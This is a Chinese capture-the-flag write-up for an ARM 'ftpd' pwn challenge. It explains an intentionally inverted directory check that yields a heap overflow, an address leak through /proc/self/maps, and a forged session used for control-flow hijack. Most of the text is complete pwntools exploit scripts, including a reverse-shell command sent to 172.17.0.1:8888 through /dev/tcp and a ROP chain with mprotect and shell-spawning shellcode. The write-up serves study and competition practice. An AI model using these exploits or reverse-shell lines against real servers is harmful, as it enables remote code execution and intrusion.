第六届TCTF新星赛决赛的一道 ARM Pwn 题 - ftpd。
(1)题目作者将ftpd处理客户端目录名的逻辑做了反转,引入一个memcpy堆溢出漏洞,可溢出服务端session结构体(struct ftp_session_t),其中包含函数指针和session链表指针。
(2)利用首先想到溢出函数指针,但直接溢出到函数指针会破坏前序数据,导致提前崩溃。
(3)因此考虑溢出session链表,即伪造一个session结构体。伪造的session内容可以通过STOR命令发送到session->file_buffer中且无任何输入限制,而session的地址在每次重启ftpd后相对于堆基址的偏移是固定的,因此通过RETR读取/proc/self/maps获得堆基址后,即可计算得到session->file_buffer地址,即用于溢出的伪造session地址。
(4)伪造session中的函数指针并不会自动调用,需要通过STOR命令构造出等待客户端数据的状态,当客户端发送数据时触发。
(5)最后使用system函数和ROP+shellcode两种方法完成利用。
题目附件:ftpd_bcf36e5a0d320c83c2e3d721682fb273.tar.gz
题目环境:需在ARM架构上运行,我使用的是张老师的幽兰代码本 ,还挺方便,也可租ARM服务器做题。
注意:利用找gadget时建议使用docker中的libc,题目给的libc跟本地docker中可能不一样
了解FTP
全称:File Transfer Protocol
作用简介:用于服务端和客户端之间传输文件
FTP的运作基于两个TCP连接:1)命令链路;2)数据链路
FTP的两种工作模式:1)PORT 主动连接模式;2)PASV 被动连接模式
常用FTP命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 RETR - Retrieve a copy of the file. RETR /server_dir/filename :从远程服务器将文件传输到客户端监听的端口中 STOR - Accept the data and to store the data as a file at the server site. STOR /server_dir/filename :将客户端端口输入的数据存储到服务器的文件中 CWD - Change working directory. CWD /tmp/aaaaaa PWD - Print working directory. Returns the current directory of the host. XPWD - Print the current working directory XMKD - Make a directory XMKD /tmp/aaaaaa :在服务器的tmp目录下新建一个aaaaaa目录 PORT - Specifies an address and port to which the server should connect. PORT 172,17,0,1,14,234 :让服务器主动连接172.17.0.1客户端的3818(14*255+234)端口 【PORT命令执行完成后,数据链路也建立了吗?(数据链路的建立时机?)】 STAT/LIST等 - 可用于列目录/文件信息
参考文章:
ftp-主动模式(PORT)和被动模式(PASV)
关于FTP的PORT命令
List of FTP commands
题目漏洞点
题目给出的ftpd是服务端程序,启动后默认监听本地5000端口。客户端连上该端口后,可通过 PORT/STAT/LIST/STOR/RETR 等FTP命令跟服务端交互,上传或下载文件。
作者patch了 ftp_xfer_dir()
函数中如下if判断,导致处理客户端输入的目录时,目录存在和不存在的处理逻辑被调换了。
1 2 3 4 5 6 7 8 9 @@ -2635,7 +2635,7 @@ ftp_xfer_dir(ftp_session_t *session, /* check if this is a directory */ session->dp = opendir(session->buffer); - if(session->dp == NULL) + if(session->dp != NULL) { /* not a directory; check if it is a file */ rc = stat(session->buffer, &st);
ftpd 的正常代码逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ftp_xfer_dir(ftp_session_t *session, const char *args, xfer_dir_mode_t mode, bool workaround) { if (strlen (args) > 0 ) { session->dp = opendir(session->buffer); if (session->dp == NULL ) { rc = stat(session->buffer, &st); } else { memcpy (session->lwd, session->buffer, session->buffersize); } } }
当 if(session->dp == NULL)
被替换成 if(session->dp != NULL)
后,一个不存在的目录名可以触发memcpy()
函数,且目录名和目录长度都是客户端可控的。session->lwd
数组长度为固定值4096字节,如果构造出一个大于4096字节的目录名,即可触发越界写。
如何触发越界写
ftp_xfer_dir()
函数的调用路径:main() -> ftp_loop() -> ftp_session_poll -> ftp_session_read_command() -> ftp_xfer_dir()
ftp_session_read_command()
函数中限制了一条客户端命令的长度需在4096字节长度以内,也就是说传入的目录名必然小于4096,即 session->buffersize
小于4096,无法触发越界写。那么怎样才能构造出一个长度大于4096字节的目录名呢?
进一步阅读源码的过程中,发现 ftp_xfer_dir() -> buid_path()
中,有一段处理绝对路径和相对路径的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 static int build_path (ftp_session_t *session, const char *cwd, const char *args) { if (args[0 ] == '/' ) { size_t len = strlen (args); if (len > sizeof (session->buffer)-1 ) { errno = ENAMETOOLONG; return -1 ; } memcpy (session->buffer, args, len); session->buffersize = len; } else { if (strcmp (cwd, "/" ) == 0 ) rc = snprintf (session->buffer, sizeof (session->buffer), "/%s" , args); else rc = snprintf (session->buffer, sizeof (session->buffer), "%s/%s" , cwd, args); if (rc >= sizeof (session->buffer)) { errno = ENAMETOOLONG; return -1 ; } session->buffersize = rc; } }
因此,可以利用相对路径构造一个大于4096字节的目录名,操作如下:
使用XMKD创建几个新目录
CWD改当前工作路径到新目录下
STAT时使用相对路径
触发越界写,导致服务端ftpd程序崩溃的poc代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *context(arch="arm" ,os="linux" ,log_level="debug" ) io = remote("127.0.0.1" , 5000 ) cmd1 = b"XMKD " + b"/tmp/" + b"a" *255 cmd2 = b"XMKD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd3 = b"CWD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd4 = b"STAT " + b"c" *3655 io.recvuntil(b"220 Hello!" ) io.sendline(cmd1) io.recvuntil(b"250 OK" ) io.sendline(cmd2) io.recvuntil(b"250 OK" ) io.sendline(cmd3) io.recvuntil(b"200 OK" ) io.sendline(cmd4) io.interactive()
崩溃的根本原因是 session->next
被覆盖成了一个无法访问的地址0x63636363。
越界写写哪里
发生越界写的结构体是session结构体(struct ftp_session_t),结构体成员及偏移信息如下:
可写的点:
transfer函数指针
首先映入眼帘的是这个函数指针,如果写掉它,就可以控制流劫持。但是 ftp_session_read_command() -> decode_path()
中,会将目录名中的\x00全部转化为\x0a,导致无法进入调用transfer函数指针的逻辑( ftp_session_transfer()
函数中),后续在处理*next时程序崩溃(ftp_session_destroy()
函数中)。所以这个点不考虑。
next指针:指向下一个待处理的session
如果先创建两个连接(session1, session2),然后利用漏洞劫持 session1->next
指向一段可控内存,就能伪造 session2 的session结构体及,从而利用 session2->transfer
实现控制流劫持。
对于写next指针的方案,还需要考虑两个问题:1)可控的内存在哪里;2)如何泄露可控内存的地址。
可控内存 - file_buffer
session->cmd_buffer
和 session->buffer
中都会存储客户端输入的命令字符串,但是无法输入”\x00”(因为输入必然经过decode_path()
函数的处理)。
session->file_buffer
:通过STOR和RETR传输文件时,file_buffer被用作文件的缓冲区(ftp_session_open_file_write()
函数中设置)。普通文件中可以输入任意字符包括”\x00”,所以可以在这里伪造session结构体。
往file_buffer中写入文件内容的方式:
1 2 3 4 5 nc -lp 25701 PORT 172,17,0,1,100,101 STOR /tmp/testtest
泄露地址 - RETR
由于目标是一个ftp服务器,所以客户端可以直接读取 /proc/self/maps
获取进程的内存地址信息。
1 2 3 4 5 nc -lp 25700 PORT 172,17,0,1,100,100 RETR /proc/self/maps
虽然本题开启了随机化,但每次ftpd服务重启后session结构体堆块的偏移是固定的,所以仅需泄露堆基址即可获得session结构体所在地址。
控制流劫持
如何触发函数指针
调用 session->transfer 的路径有多条,像STAT这种命令是先设置transfer指针,紧接着就调用了,留给我们更改函数指针的时间窗口太小,不适合该利用场景。 在搜索和调试中,发现STOR设置完transfer指针后,会先进入等待状态,等到客户端发送数据后才会触发执行transfer函数指针。
我用于触发 session->transfer
函数指针执行的方式如下:
往ftpd服务端发送 PORT 和 STOR 指令,执行完毕后,对应的session会处于等待阶段,等待客户端传递文件内容。
此时可利用漏洞改写 session->transfer
函数指针,或者替换掉对应的session结构体。
最后往本地监听的数据端口输入文件内容,即可触发ftpd服务端 session->transfer
函数指针的执行。
越界写到控制流劫持
现在我们来理一下,将越界写转化成控制流劫持的思路如下:
(向ftpd服务端发起两个session连接)
[session1] 执行 PORT+RETR 命令,通过 /proc/self/maps 泄露堆地址信息(一个nc监听 n1)
[session1] 执行 PORT+STOR 命令,将 fake session 写入 session1->file_buffer
中(一个nc监听 n2)
[session2] 执行 PORT+STOR 命令,使 session2 处于等待接收数据阶段(一个nc监听 n3)
[session1] 执行 XMKD+CWD+STAT 命令,利用溢出漏洞改写 session1->next
,使其指向 session1->file_buffer
(fake session)
[session2] 往监听的n3写入数据,触发执行fake session中的函数指针,达到控制流劫持目的
达成控制流劫持的完整poc代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 import reimport threadingfrom pwn import *context(arch="arm" ,os="linux" ,log_level="debug" ) leak_info = b"" prog_base = 0 heap_base = 0 libc_base = 0 io_1 = remote("127.0.0.1" , 5000 ) sleep(1 ) io_2 = remote("127.0.0.1" , 5000 ) def leak_thread (): l = listen(25700 ) conn = l.wait_for_connection() global leak_info leak_info = conn.recv() l.close() def leak_addr (): thread1 = threading.Thread(target=leak_thread) thread1.start() sleep(1 ) cmd0 = b"PORT 172,17,0,1,100,100" cmd1 = b"RETR /proc/self/maps" io_1.recvuntil(b"220 Hello!" ) io_1.sendline(cmd0) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd1) io_1.recvuntil(b"226 OK" ) thread1.join() print("thread1 end!" ) leak_list = leak_info.split(b"\\n" ) global prog_base global heap_base global libc_base prog_base = int (leak_list[0 ][:8 ],16 ) heap_base = int (leak_list[4 ][:8 ],16 ) libc_base = int (leak_list[5 ][:8 ],16 ) leak_addr() print("leak info:" ) print(hex (prog_base)) print(hex (heap_base)) print(hex (libc_base)) def fake_thread (): l = listen(25701 ) fake_session = b"a" *12 fake_session += p32(0 )*8 fake_session += p32(5 ) fake_session += p32(0 ) fake_session += p32(7 ) fake_session += p32(0 ) fake_session += p32(8 ) fake_session += p32(0 )*2 fake_session += p32(2 ) fake_session += p32(0 )*2 fake_session += p32(0xbabebeef ) l.send(fake_session) sleep(3 ) l.close() def send_fake_session (): thread2 = threading.Thread(target=fake_thread) thread2.start() sleep(1 ) cmd0 = b"PORT 172,17,0,1,100,101" cmd1 = b"STOR /tmp/testtest" io_1.sendline(cmd0) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd1) io_1.recvuntil(b"226 OK" ) thread2.join() print("thread2 end!" ) send_fake_session() def trigger_transfer (): l = listen(25702 ) payload = b"a" *12 print("going to sleep 10s" ) sleep(10 ) print("sleep end" ) l.send(payload) def set_session2 (): thread3 = threading.Thread(target=trigger_transfer) thread3.start() cmd0 = b"PORT 172,17,0,1,100,102" cmd1 = b"STOR /tmp/payload" io_2.sendline(cmd0) io_2.recvuntil(b"200 OK" ) io_2.sendline(cmd1) set_session2() def oow_next (fake_ss_addr ): cmd1 = b"XMKD " + b"/tmp/" + b"a" *255 cmd2 = b"XMKD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd3 = b"CWD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd4 = b"STAT " + b"\\xff" *3579 cmd4 += b"\\xaa" *32 cmd4 += b"\\x04" *4 cmd4 += b"\\xff" *28 cmd4 += p32(fake_ss_addr) io_1.sendline(cmd1) io_1.recvuntil(b"250 OK" ) io_1.sendline(cmd2) io_1.recvuntil(b"250 OK" ) io_1.sendline(cmd3) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd4) fake_ss_addr = heap_base+0xa5f0 -0x2000 print("fake session addr:" ) print(fake_ss_addr) oow_next(fake_ss_addr) sleep(60 )
获取flag
控制流劫持后,获取flag的方式有两种:
system执行bash命令:本题发生控制流劫持的点完美符合该模式,利用system执行命令获取flag/get shell是一种比较简单的方式。
栈迁移+ROP+shellcode:是一种常规的控制流劫持后的利用方法,该方法适用范围更广。
以上两种方法本文都进行了尝试。
方法1:system反弹shell
控制流劫持的点是 session->transfer(session)
,函数指针和参数内容都是我们可控的,所以可直接利用 system()
函数执行如下命令,将/challenge/flag的执行结果发送给客户端,或者直接将shell重定向给客户端:
1 2 3 4 /challenge/flag > /tmp/f ; cat /tmp/f > /dev/tcp/172.17.0.1/8888 /bin/bash > /dev/tcp/172.17.0.1/8888 0>&1 2>&1
完整exp代码如下(需监听8888端口接收flag/shell ):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 import reimport threadingfrom pwn import *context(arch="arm" ,os="linux" ,log_level="debug" ) leak_info = b"" prog_base = 0 heap_base = 0 libc_base = 0 io_1 = remote("127.0.0.1" , 5000 ) sleep(1 ) io_2 = remote("127.0.0.1" , 5000 ) def leak_thread (): l = listen(25700 ) conn = l.wait_for_connection() global leak_info leak_info = conn.recv() l.close() def leak_addr (): thread1 = threading.Thread(target=leak_thread) thread1.start() sleep(1 ) cmd0 = b"PORT 172,17,0,1,100,100" cmd1 = b"RETR /proc/self/maps" io_1.recvuntil(b"220 Hello!" ) io_1.sendline(cmd0) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd1) io_1.recvuntil(b"226 OK" ) thread1.join() print("thread1 end!" ) leak_list = leak_info.split(b"\\n" ) global prog_base global heap_base global libc_base prog_base = int (leak_list[0 ][:8 ],16 ) heap_base = int (leak_list[4 ][:8 ],16 ) libc_base = int (leak_list[5 ][:8 ],16 ) leak_addr() print("leak info:" ) print(hex (prog_base)) print(hex (heap_base)) print(hex (libc_base)) h_flag = len (hex (heap_base))-2 print("heap addr len:" ,end="" ) print(h_flag) def fake_thread (): global prog_base global libc_base gadget1 = prog_base+0x2c86 system_addr = libc_base+0x2F5C8 l = listen(25701 ) fake_session = b"a" *12 fake_session += b"bash -c \\" /bin /bash > /dev/tcp/172.17 .0 .1 /8888 0 >&1 2 >&1 \\"\\x00" .ljust(0x2000 ,b"c" ) fake_session += p32(0x0 )*8 fake_session += p32(5 ) fake_session += p32(0x0 ) fake_session += p32(7 ) fake_session += p32(0x0 ) fake_session += p32(8 ) fake_session += p32(0x0 )*2 fake_session += p32(2 ) fake_session += p32(0x0 )*2 fake_session += p32(system_addr+1 ) l.send(fake_session) sleep(3 ) l.close() def send_fake_session (): thread2 = threading.Thread(target=fake_thread) thread2.start() sleep(1 ) cmd0 = b"PORT 172,17,0,1,100,101" cmd1 = b"STOR /tmp/testtest" io_1.sendline(cmd0) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd1) io_1.recvuntil(b"226 OK" ) thread2.join() print("thread2 end!" ) send_fake_session() def trigger_transfer (): l = listen(25702 ) payload = b"a" *12 print("going to sleep" ) sleep(10 ) print("end to sleep" ) l.send(payload) def set_session2 (): thread3 = threading.Thread(target=trigger_transfer) thread3.start() cmd0 = b"PORT 172,17,0,1,100,102" cmd1 = b"STOR /tmp/payload" io_2.sendline(cmd0) io_2.recvuntil(b"200 OK" ) io_2.sendline(cmd1) set_session2() def oow_next (fake_ss_addr ): cmd1 = b"XMKD " + b"/tmp/" + b"a" *255 cmd2 = b"XMKD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd3 = b"CWD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd4 = b"STAT " + b"\\xff" *3579 cmd4 += b"\\xaa" *32 cmd4 += b"\\x04" *4 cmd4 += b"\\xff" *28 if (h_flag >= 7 ): cmd4 += p32(fake_ss_addr) else : cmd4 += p32(fake_ss_addr)[:3 ] io_1.sendline(cmd1) io_1.recvuntil(b"250 OK" ) io_1.sendline(cmd2) io_1.recvuntil(b"250 OK" ) io_1.sendline(cmd3) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd4) fake_ss_addr = heap_base+0xa5f0 print("fake session addr:" ) print(hex (fake_ss_addr)) oow_next(fake_ss_addr) sleep(60 )
成功获得shell:
方法2:ROP + shellcode
控制流劫持后,通过arm gadget完成栈迁移,再利用thumb gadget继续ROP完成RWX段的设置(通过调用mprotect),最后跳转至arm shellcode获得shell(dup2() + execve())。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 import reimport threadingfrom pwn import *context(arch="arm" ,os="linux" ,log_level="debug" ) leak_info = b"" prog_base = 0 heap_base = 0 libc_base = 0 io_1 = remote("127.0.0.1" , 5000 ) sleep(1 ) io_2 = remote("127.0.0.1" , 5000 ) def leak_thread (): l = listen(25700 ) conn = l.wait_for_connection() global leak_info leak_info = conn.recv() l.close() def leak_addr (): thread1 = threading.Thread(target=leak_thread) thread1.start() sleep(1 ) cmd0 = b"PORT 172,17,0,1,100,100" cmd1 = b"RETR /proc/self/maps" io_1.recvuntil(b"220 Hello!" ) io_1.sendline(cmd0) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd1) io_1.recvuntil(b"226 OK" ) thread1.join() print("thread1 end!" ) leak_list = leak_info.split(b"\\n" ) global prog_base global heap_base global libc_base prog_base = int (leak_list[0 ][:8 ],16 ) heap_base = int (leak_list[4 ][:8 ],16 ) libc_base = int (leak_list[5 ][:8 ],16 ) leak_addr() print("leak info:" ) print(hex (prog_base)) print(hex (heap_base)) print(hex (libc_base)) h_flag = len (hex (heap_base))-2 print("heap addr len:" ,end="" ) print(h_flag) def fake_thread (): global prog_base global libc_base gadget0 = libc_base+0x6c09c gadget1 = libc_base+0x7127e +1 fake_sp = (heap_base+0xa5f0 )+0x600 shellcode_addr = (heap_base+0xa5f0 )+0xa10 mprotect_addr = libc_base+0x9B480 l = listen(25701 ) fake_session = b"a" *12 pop_sp = flat(0x00 ,0x11 ,0x33 ,0x55 ,0x77 ,0x88 ,0x99 ,0x1010 ,0x1212 ,fake_sp,shellcode_addr,gadget1).ljust(0x600 ,b"\\x00" ) pop_sp += flat(shellcode_addr, 0x1000 , 0x7 , 0x0 , mprotect_addr+1 ) context.arch="arm" shellcode_con = asm(shellcraft.arm.dupsh(4 )) fake_session += (pop_sp.ljust(0xa10 ,b"\\x00" )+shellcode_con).ljust(0x2000 ,b"\\x00" ) fake_session += p32(0x11 )*8 fake_session += p32(5 ) fake_session += p32(0x22 ) fake_session += p32(7 ) fake_session += p32(0x33 ) fake_session += p32(8 ) fake_session += p32(0x44 )*2 fake_session += p32(2 ) fake_session += p32(0x0 ) fake_session += p32(0x55 ) fake_session += p32(gadget0) l.send(fake_session) sleep(3 ) l.close() def send_fake_session (): thread2 = threading.Thread(target=fake_thread) thread2.start() sleep(1 ) cmd0 = b"PORT 172,17,0,1,100,101" cmd1 = b"STOR /tmp/testtest" io_1.sendline(cmd0) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd1) io_1.recvuntil(b"226 OK" ) thread2.join() print("thread2 end!" ) send_fake_session() def trigger_transfer (): l = listen(25702 ) payload = b"a" *12 print("going to sleep" ) sleep(10 ) print("end to sleep" ) l.send(payload) def set_session2 (): thread3 = threading.Thread(target=trigger_transfer) thread3.start() cmd0 = b"PORT 172,17,0,1,100,102" cmd1 = b"STOR /tmp/payload" io_2.sendline(cmd0) io_2.recvuntil(b"200 OK" ) io_2.sendline(cmd1) set_session2() def oow_next (fake_ss_addr ): cmd1 = b"XMKD " + b"/tmp/" + b"a" *255 cmd2 = b"XMKD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd3 = b"CWD " + b"/tmp/" + b"a" *255 + b"/" + b"b" *255 cmd4 = b"STAT " + b"\\xff" *3579 cmd4 += b"\\xaa" *32 cmd4 += b"\\x04" *4 cmd4 += b"\\xff" *28 if (h_flag >= 7 ): cmd4 += p32(fake_ss_addr) else : cmd4 += p32(fake_ss_addr)[:3 ] io_1.sendline(cmd1) io_1.recvuntil(b"250 OK" ) io_1.sendline(cmd2) io_1.recvuntil(b"250 OK" ) io_1.sendline(cmd3) io_1.recvuntil(b"200 OK" ) io_1.sendline(cmd4) fake_ss_addr = heap_base+0xa5f0 print("fake session addr:" ) print(hex (fake_ss_addr)) oow_next(fake_ss_addr) sleep(13 ) io_1.interactive()
成功获得shell:
其他